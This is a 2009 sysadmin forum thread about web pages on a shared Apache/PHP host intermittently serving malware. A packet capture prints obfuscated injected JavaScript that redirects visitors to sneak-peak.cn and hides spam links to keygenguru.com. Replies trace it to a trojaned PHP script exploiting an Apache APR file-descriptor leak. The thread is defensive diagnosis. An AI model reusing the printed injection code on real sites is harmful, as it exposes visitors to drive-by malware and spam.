hello,

we are experiencing a strange behavior with our web pages.
At irregular time intervals, on random web pages, the client instead of getting the normal web page gets a page containing a virus.
Here a wireshark client capture from such a web page:

GET / HTTP/1.1

Accept: image/gif, image/x-xbitmap, image/jpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, image/pjpeg, application/x-shockwave-flash, */*

Accept-Language: ro

UA-CPU: x86

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET CLR 1.1.4322)

Host: ................

Connection: Keep-Alive



HTTP/1.1 200 OK

Date: Thu, 05 Nov 2009 20:26:31 GMT

Server: Apache

X-Powered-By: PHP/5.2.6

Connection: close

Transfer-Encoding: chunked

Content-Type: text/html; charset=UTF-8



8f53

<script type="text/javascript" language="javascript"> var atzve=new Date( ); atzve.setTime(atzve.getTime( )+12*60*60*1000); document.cookie="n_sess_id=a719c4e\x30f2\x321\x37a2\x660036d87ebeb145b\x39"+"\x3b p\x61\164\x68=/; ex\x70ires\x3d"+atzve.toGMTString( ); </script>

<script type="text/javascript" language="javascript"> var mdpfi=new Array("\x68tt\x70:/\x2fsneak\x2dpea\x6b.cn/?p\x69d=180s\x308\x26s\x69d=3c5779","htt\x70://\x73\x6ee\x61\x6b-pea\x6b.cn/?pid=180s0\x39&sid=\x33c57\x379"); var ajxkvmr="ca\x2cco,d\x61\054\x64e,cy\x2cel,e\x6e,eo\x2ces,\x66i,\x66r,g\x61,\x69t,\x6aa,\x6ai,\x6bn\x 2cn\x6c,n\x6f,p\x74,s\x76"; var uosk=navigator.language || navigator.systemLanguage; var lang=uosk.toLowerCase( ); lang=lang.substr(0,2); if (ajxkvmr.indexOf(lang)==-1){yrlt( ); }else {ohmsof(birh( )?.......

; return; }function birh( ){return document.referrer.indexOf("\x67o\x6f\x67le.")!=-1 || document.referrer.indexOf("\x79aho\x6f\x2e")!=-1 || document.referrer.indexOf("bi\x6eg.")!=-1; } </script>



206b

<script>document.write(String.fromCharCode(60,100,105,118,32,115,116,121,108,101,61,39,100,105,115,1 12,108,97,121,58,110,111,110,101,39,62))</script><a href="http://keygenguru.com/movies.php">movie downloads</a>&nbsp; <a href="http://keygenguru.com/movies.php">legal movies</a>&nbsp; <a href="http://keygenguru.com/movies.php">movies for ipod</a>&nbsp; <h1><a href="http://keygenguru.com/movies.php">divx online</a>&nbsp; </h1>232.198.198.95 <a href="http://keygenguru.com/software/...........

We have verified all the packages on our system and they seem ok. We installed and run rkhunter to check for rootkits and found none.
We run rkhunter --propupd on a new/clean system and placed the files database it on the problematic machine and all the standard binary files are identical between the two machines
The only suspect file that showed when verifying all the rpms was /usr/sbin/suexec.

It was different than /usr/local/psa/suexec/psa-suexec but not from a rootkit, but because it was modified by prelink.

The problem is hard to debug because it manifests itself randomly.

Do you have any ideea how to trace and solve this kind of problem???

P.S
It is not a dns spoofed page, because the server ip that appears in the wireshark capture taken on the client is the correct one.

thank you

Are you running any ads on your site? If so, it could be the source.
Have you updated your PHP, looks like you are a few versions behind. 5.2.11 is showing on my system as the latest. It may not be a root kit, but just your regular run of the mill exploit of PHP.

This "String.fromCharCode" javascript causes it to write the following:

Is this something you normally have on your web pages? keygenguru.com is listed as "Download cracks, keygens, view serial numbers for any program. Keygenguru.com has the largest cracks data base."
http://whois.domaintools.com/keygenguru.com

Hi,

This is an apache APR bug being exploited through a trojaned PHP script.

I spent six days chasing this problem down.

-a fellow admin

Hi,

You can view all of the gory details about what's happening and how to find it here:

http://smaert.com/apache_mischief/writeup.txt

-a fellow admin

Thanks for the write up on what to look for. Do you have any information on how the trojaned PHP script got on your server to begin with? Was it something a legitimate user did on purpose or do you believe an existing site was cracked?

The trojaned PHP script was uploaded via the user's FTP credentials. This is a web hosting server that allows FTP access. Somebody stole our customer's username and password (probably via a virus on their computer) and then used those FTP credentials to upload the trojaned script to our customer's website...

I'm sure the user was not aware of this. Our customer is here in the united states and the script was uploaded from an IP address in Singapore.

smaert,

Thanks for your posts and links. They made interesting reading.

Welcome to LQ!

smaert thank you very much for the information.

We were able to find the IP that issued the POST commands and block it.
We found two suspicious php scripts using your grep command.
One looks like a wordpress theme footer (/var/www/vhosts/domain1.name/httpdocs/wp-content/themes/epsilon/footer.php)and one is the footer.php of a wordpress install (/var/www/vhosts/domain2.name/httpdocs/blog/footer.php).
I will de-obfuscate the scripts and post them here if they are mallicious.

I still don't know what bug / exploit this mallware is using.
We are using CentOS 5 with all the patches applied and we tested the server with your script and it seems ok.
We had to modify the script because /proc/*/fd is only readable by root and we are using open_basedir to restrict access to specific directories.

Forking form the perl script works but the child does not inherit the file handles of the parent.

I think this mallware is exploiting a security issue present in apache/mod_php that is not yet known to the developers.

As it is described on: http://smaert.com/apache_mischief/writeup.txt, the malicious php script gets activated through POST commands.

Thanks for the reply and writeup from me as well. However in it you write your subject basically is an old, outdated shared hosting server running vulnerable software versions. The threads you point to are from 2003 and the only evidence I find is SF's 2003 Apache Web Server File Descriptor Leakage Vulnerability (no CVE or anything more recent I can see).

Did you actually test Apache >= 2.0.45 or a 2.2 series one?
Or is this really just a vuln only in that old, outdated software version?..

EDIT: Irian's recent reply of seems to suggest it is. Can you confirm?

Hi,

Sorry, my first testing script was LAME.

Today I discovered that forking a child process is part of the magic that enables this to work. I can't access the file descriptors until after spawning a new process. The machine that I developed the original perl test was apparently REALLY broken.

I've finished writing a PHP-based testing script. This new test is a much more accurate test than the previous perl based one.

Try this code:

http://smaert.com/apache_mischief/apr_test.php.txt

... and you'll see a list of all the file-handles that a malicious script can gain access to...

Still researching who to blame for this problem, but a buddy of mine is claiming that fedora core 11 has an updated version of apr that closes file descriptors on exec or fork.

All centos 4 and centos 5 machines that I've tested this on appear to be vulnerable.

UPDATE: After honing my search terms, I'm getting closer to having answers for who to blame. I've located bug reports on the exact issue in conversations between apache and php developers arguing over who's problem this actually is.

See: http://www.securityfocus.com/bid/9302
See: http://www.securityfocus.com/archive...100/0/threaded
See: http://bugs.php.net/bug.php?id=38915

The last post (on July 3rd, 2009) on the php.net site is claiming that this is finally fixed in apache. They provide a diff to apache's exec.c, but the author admits it's an ugly fix... And my CentOS 4 and 5 boxes are still vulnerable...

See: https://issues.apache.org/bugzilla/s...g.cgi?id=46425

The last post on apache's site (October 11th, 2009) says:
"This was released with apr 1.3.6"

(The latest CentOS 5 apr is apr-1.2.7-11 from April 27th 2009)